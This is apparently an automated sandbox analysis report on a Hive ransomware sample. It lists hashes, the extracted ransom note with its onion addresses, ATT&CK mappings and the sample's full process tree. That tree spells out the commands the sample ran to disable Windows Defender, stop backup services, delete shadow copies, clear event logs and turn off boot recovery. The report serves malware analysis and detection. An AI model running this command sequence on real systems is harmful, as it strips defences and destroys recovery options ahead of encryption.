Overview

overview

10

Static

static

3

Trojan-Ran...cf.exe

windows7-x64

10

Trojan-Ran...cf.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/03/2025, 15:41

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Trojan-Ransom.Win32.Hive.cw-de5867fbc85c4f2cd210f60d565c99ab039f0be41c0ec6c7729d795d0ff15ecf.exe

  • Size

    3.4MB

  • MD5

    3e3c64d90fb826c80e45d9f8791f76fe

  • SHA1

    c7c893ef8d3550c773b3523f7c35a827cb65cc5f

  • SHA256

    de5867fbc85c4f2cd210f60d565c99ab039f0be41c0ec6c7729d795d0ff15ecf

  • SHA512

    ad2cc2abe25800e09c2c34a8943fc5698f28b59e59fb3d89c1993666a75cec42d119bc858c4fdc5114c5ad7b2416e1479811e3047a47c679d72360a536299115

  • SSDEEP

    49152:i2cDtPjVrb/TVvO90dL3BmAFd4A64nsfJurbOysDrVyOYF1w86FmCKenPr8bg11I:i2yj7nO7Dpy/Zi4JJOgQ

Score
10/10
hivedefense_evasionevasionexecutionimpactransomwarespywarestealertrojan

Malware Config

Extracted

Path

C:\Program Files\7-Zip\Lang\etrU_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: hyYeLBF36G1U Password: sx77BJWt3JYh7xCtfZ2w To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.mhkwl files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Hive

    A ransomware written in Golang first seen in June 2021.

    ransomwarehive
  • Hive family
    hive
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    defense_evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.Hive.cw-de5867fbc85c4f2cd210f60d565c99ab039f0be41c0ec6c7729d795d0ff15ecf.exe
    "C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.Hive.cw-de5867fbc85c4f2cd210f60d565c99ab039f0be41c0ec6c7729d795d0ff15ecf.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:208
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2252
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:4612
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:884
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:4236
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5672
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:2660
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2312
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:6092
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4528
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:5976
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4072
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:3980
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1132
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:4588
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "UnistoreSvc_2af28" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4580
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_2af28" /y
                      3⤵
                        PID:4624
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4680
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4784
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4844
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "vmicvss" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4372
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2636
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2292
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4764
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "UnistoreSvc_2af28" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4956
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                      • Modifies Security services
                      PID:4884
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                      2⤵
                        PID:4852
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                        2⤵
                        • Modifies Windows Defender DisableAntiSpyware settings
                        PID:5816
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                        2⤵
                          PID:6028
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                          2⤵
                            PID:2516
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:5160
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:5132
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:4420
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:5264
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:948
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:4972
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                              2⤵
                                PID:2628
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                2⤵
                                  PID:2520
                                • C:\Windows\SYSTEM32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                  2⤵
                                    PID:4212
                                  • C:\Windows\SYSTEM32\reg.exe
                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:3548
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:1368
                                      • C:\Windows\SYSTEM32\schtasks.exe
                                        schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                        2⤵
                                          PID:468
                                        • C:\Windows\SYSTEM32\schtasks.exe
                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                          2⤵
                                            PID:5416
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                            2⤵
                                              PID:5908
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                              2⤵
                                                PID:2480
                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                2⤵
                                                  PID:1028
                                                • C:\Windows\SYSTEM32\reg.exe
                                                  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                  2⤵
                                                    PID:3336
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                    2⤵
                                                      PID:4804
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                      2⤵
                                                        PID:5532
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                        2⤵
                                                          PID:1120
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                          2⤵
                                                            PID:2212
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:2776
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:5476
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:952
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:6020
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:1572
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies security service
                                                              PID:4324
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:4340
                                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                                              vssadmin.exe delete shadows /all /quiet
                                                              2⤵
                                                              • Interacts with shadow copies
                                                              PID:4532
                                                            • C:\Windows\SYSTEM32\wevtutil.exe
                                                              wevtutil.exe cl system
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1008
                                                            • C:\Windows\SYSTEM32\wevtutil.exe
                                                              wevtutil.exe cl security
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5588
                                                            • C:\Windows\SYSTEM32\wevtutil.exe
                                                              wevtutil.exe cl application
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5968
                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                              wmic.exe SHADOWCOPY /nointeractive
                                                              2⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5344
                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                              wmic.exe shadowcopy delete
                                                              2⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5608
                                                            • C:\Windows\SYSTEM32\bcdedit.exe
                                                              bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                              2⤵
                                                              • Modifies boot configuration data using bcdedit
                                                              PID:4644
                                                            • C:\Windows\SYSTEM32\bcdedit.exe
                                                              bcdedit.exe /set {default} recoveryenabled no
                                                              2⤵
                                                              • Modifies boot configuration data using bcdedit
                                                              PID:4648
                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                              cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                              2⤵
                                                                PID:5708
                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                2⤵
                                                                  PID:1752
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Set-MpPreference -DisableIOAVProtection $true
                                                                    3⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:6124
                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                  2⤵
                                                                    PID:5016
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                      3⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:4404

                                                                Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Reconnaissance

                                                                Resource Development

                                                                Initial Access

                                                                Execution

                                                                Command and Scripting Interpreter

                                                                1
                                                                T1059

                                                                PowerShell

                                                                1
                                                                T1059.001

                                                                System Services

                                                                1
                                                                T1569

                                                                Service Execution

                                                                1
                                                                T1569.002

                                                                Windows Management Instrumentation

                                                                1
                                                                T1047

                                                                Persistence

                                                                Create or Modify System Process

                                                                4
                                                                T1543

                                                                Windows Service

                                                                4
                                                                T1543.003

                                                                Privilege Escalation

                                                                Create or Modify System Process

                                                                4
                                                                T1543

                                                                Windows Service

                                                                4
                                                                T1543.003

                                                                Defense Evasion

                                                                Direct Volume Access

                                                                1
                                                                T1006

                                                                Impair Defenses

                                                                3
                                                                T1562

                                                                Disable or Modify Tools

                                                                2
                                                                T1562.001

                                                                Indicator Removal

                                                                3
                                                                T1070

                                                                Clear Windows Event Logs

                                                                1
                                                                T1070.001

                                                                File Deletion

                                                                2
                                                                T1070.004

                                                                Modify Registry

                                                                4
                                                                T1112

                                                                Credential Access

                                                                Credentials from Password Stores

                                                                1
                                                                T1555

                                                                Credentials from Web Browsers

                                                                1
                                                                T1555.003

                                                                Unsecured Credentials

                                                                1
                                                                T1552

                                                                Credentials In Files

                                                                1
                                                                T1552.001

                                                                Discovery

                                                                Query Registry

                                                                1
                                                                T1012

                                                                Lateral Movement

                                                                Collection

                                                                Data from Local System

                                                                1
                                                                T1005

                                                                Command and Control

                                                                Exfiltration

                                                                Impact

                                                                Inhibit System Recovery

                                                                3
                                                                T1490

                                                                Service Stop

                                                                1
                                                                T1489

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • C:\Program Files\7-Zip\Lang\etrU_HOW_TO_DECRYPT.txt
                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  0819f2d4d4023be7a970d21dc32f7f19

                                                                  SHA1

                                                                  53dc2551d2e0c22517bbc35b9150ce46fbb1cea6

                                                                  SHA256

                                                                  740146275a2bff1af1df4bc6bd92c056642e34a602b97296de198b159b6d69f5

                                                                  SHA512

                                                                  693234d6d44f15c55665ce167a8d272a3f1269de56bc9ce4c819f68ce3a75bf606bd1ef6bebd798399307715c4711baf195832ceafd7c365548eef2520831a90

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                  Filesize

                                                                  2KB

                                                                  MD5

                                                                  d85ba6ff808d9e5444a4b369f5bc2730

                                                                  SHA1

                                                                  31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                  SHA256

                                                                  84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                  SHA512

                                                                  8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                  Filesize

                                                                  944B

                                                                  MD5

                                                                  555e68af1b8e33f84346bf2335e6191a

                                                                  SHA1

                                                                  fa078ed3a608f05ae2dd2db8ed52d6bafe8d510e

                                                                  SHA256

                                                                  91a76a2c6c73116293fb7e5bfb12b00ef8128a04fbbb44153f4fd63794b2b8ae

                                                                  SHA512

                                                                  6f3d5be098271b844d0cbd21d902e68ce80f0bcfa67e3fb507d11bacf15227d3e66397fec2691d7f3333194d4d2067ea416bcbb1d9739f661db3bab0259af44e

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cmw0wx2n.cpl.ps1
                                                                  Filesize

                                                                  60B

                                                                  MD5

                                                                  d17fe0a3f47be24a6453e9ef58c94641

                                                                  SHA1

                                                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                  SHA256

                                                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                  SHA512

                                                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                  Download Submit

                                                                • memory/6124-2-0x00000209E7470000-0x00000209E7492000-memory.dmp

                                                                  Filesize

                                                                  136KB

                                                                  Download